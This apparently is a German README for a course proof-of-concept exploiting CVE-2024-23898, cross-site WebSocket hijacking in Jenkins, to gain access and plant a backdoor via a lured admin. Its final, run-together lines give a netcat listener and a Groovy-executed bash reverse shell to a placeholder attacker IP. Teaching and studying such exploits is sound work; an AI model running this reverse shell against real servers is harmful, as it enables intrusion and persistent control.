
Ein Proof-of-Concept-Exploit für Cross-Site WebSocket Hijacking für CVE-2024-23898 – eine Sicherheitslücke, die Jenkins-Versionen 2.217-2.441 betrifft. Zur Verwendung im Hacking & Offensive Security Kurs an der Carnegie Mellon University.
Ein Proof-of-Concept-Exploit für Cross-Site WebSocket-Hijacking für CVE-2024-23898 – eine Schwachstelle, die Jenkins-Versionen 2.217-2.441 betrifft.
Dieser Exploit zielt auf die Jenkins CLI ab, die verwendet werden kann, um remote auf einen Jenkins-Kontrollserver zuzugreifen und Befehle auszuführen. Durch diesen Exploit kann ein entfernter Angreifer Zugriff auf einen Jenkins-Kontrollserver erhalten und eine persistente Hintertür einrichten, wenn ein Administrator dazu verleitet wird, eine bösartige Website zu besuchen, während er beim Ziel-Jenkins-Kontrollserver angemeldet ist.
Dieser Code ist nur für Bildungszwecke und ausschließlich für die Nutzung im Rahmen des Hacking & Offensive Security Kurses an der Carnegie Mellon University bestimmt. Dieser Code sollte nicht bewaffnet oder anderweitig zur Erstellung von Malware verwendet werden. Die Autoren verurteilen ausdrücklich jeden Versuch, dies zu tun.
nc -l <port_num> (ersetzen Sie <port_num> durch eine beliebige unbenutzte Portnummer)ipconfig getifaddr en0[http://localhost:8080/script](http://localhost:8080/script). Melden Sie sich als Admin-Konto an, falls Sie es noch nicht getan haben.['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()